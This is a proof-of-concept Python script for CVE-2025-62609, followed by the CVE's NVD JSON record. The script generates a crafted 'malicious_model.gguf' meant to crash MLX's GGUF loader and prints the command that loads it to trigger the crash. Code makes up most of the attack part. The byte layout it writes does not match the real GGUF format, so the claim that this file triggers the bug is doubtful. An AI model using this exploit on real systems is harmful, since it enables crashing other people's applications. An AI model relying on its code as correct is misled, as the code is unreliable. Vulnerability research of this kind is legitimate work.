CVE-2025-62609

#!/usr/bin/env python3 """ CVE-2025-62609 PoC - Malicious GGUF file generator This PoC generates a malicious GGUF file that triggers a segmentation fault in mlx::core::load_gguf() due to unvalidated pointer dereference. Note: This is for educational and security research purposes only. """ import struct import os def create_malicious_gguf(output_path): """ Create a malicious GGUF file that exploits CVE-2025-62609 The file contains crafted metadata that causes gguflib to return an invalid pointer, leading to segmentation fault when dereferenced. """ # GGUF file magic number magic = b'GGUF' # Version (v3 for this PoC) version = 3 # TENSOR_COUNT tag (1000 tensors) tensor_count_tag = 0x00000001 tensor_count = 1000 # KV_DATA tag with malicious values kv_tag = 0x00000002 # Craft malicious KV data that will cause invalid pointer # This contains malformed tensor metadata that gguflib will parse incorrectly malicious_kv_data = bytearray() # Add key-value pairs with invalid pointers for i in range(100): # Key type (string) malicious_kv_data.extend(struct.pack('<I', 8)) # STRING type key = f'malicious_key_{i}'.encode('utf-8') malicious_kv_data.extend(struct.pack('<I', len(key))) malicious_kv_data.extend(key) # Value type (invalid pointer simulation) malicious_kv_data.extend(struct.pack('<I', 0xFFFFFFFF)) # Invalid sentinel value malicious_kv_data.extend(struct.pack('<Q', 0x00000000FFFFFFFF)) # Malformed pointer # TENSOR_DATA tag tensor_data_tag = 0x00000003 # Malformed tensor data with invalid memory references tensor_data = bytearray() for i in range(1000): # Tensor name name = f'malicious_tensor_{i}'.encode('utf-8') tensor_data.extend(struct.pack('<I', len(name))) tensor_data.extend(name) # Number of dimensions (malformed) tensor_data.extend(struct.pack('<I', 0x7FFFFFFF)) # Invalid dimension count # Dimensions with invalid values tensor_data.extend(struct.pack('<Q', 0xFFFFFFFFFFFFFFFF)) # Invalid dimension # Data type tensor_data.extend(struct.pack('<I', 0xFFFFFFFF)) # Invalid type # Offset pointing to invalid memory location tensor_data.extend(struct.pack('<Q', 0x00000000DEADBEEF)) # Invalid offset # Write the malicious GGUF file with open(output_path, 'wb') as f: f.write(magic) f.write(struct.pack('<I', version)) f.write(struct.pack('<I', tensor_count)) f.write(struct.pack('<I', kv_tag)) f.write(struct.pack('<I', len(malicious_kv_data))) f.write(malicious_kv_data) f.write(struct.pack('<I', tensor_data_tag)) f.write(struct.pack('<Q', len(tensor_data))) f.write(tensor_data) print(f"[+] Malicious GGUF file created: {output_path}") print(f"[+] File size: {os.path.getsize(output_path)} bytes") print(f"[!] This file will trigger CVE-2025-62609 in MLX < 0.29.4") if __name__ == '__main__': output_file = 'malicious_model.gguf' create_malicious_gguf(output_file) print("\n[*] To trigger the vulnerability, load this file with MLX:") print(f"[*] import mlx.core as mx; mx.load('{output_file}')")

{"cve": {"id": "CVE-2025-62609", "sourceIdentifier": "[email protected]", "published": "2025-11-21T19:16:02.467", "lastModified": "2025-12-02T16:30:45.820", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MLX is an array framework for machine learning on Apple silicon. Prior to version 0.29.4, there is a segmentation fault in mlx::core::load_gguf() when loading malicious GGUF files. Untrusted pointer from external gguflib library is dereferenced without validation, causing application crash. This issue has been patched in version 0.29.4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ml-explore:mlx:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.29.4", "matchCriteriaId": "C62C2D2D-92D7-4480-BDB9-56CECD1626E7"}]}]}], "references": [{"url": "https://github.com/ml-explore/mlx/security/advisories/GHSA-j842-xgm4-wf88", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}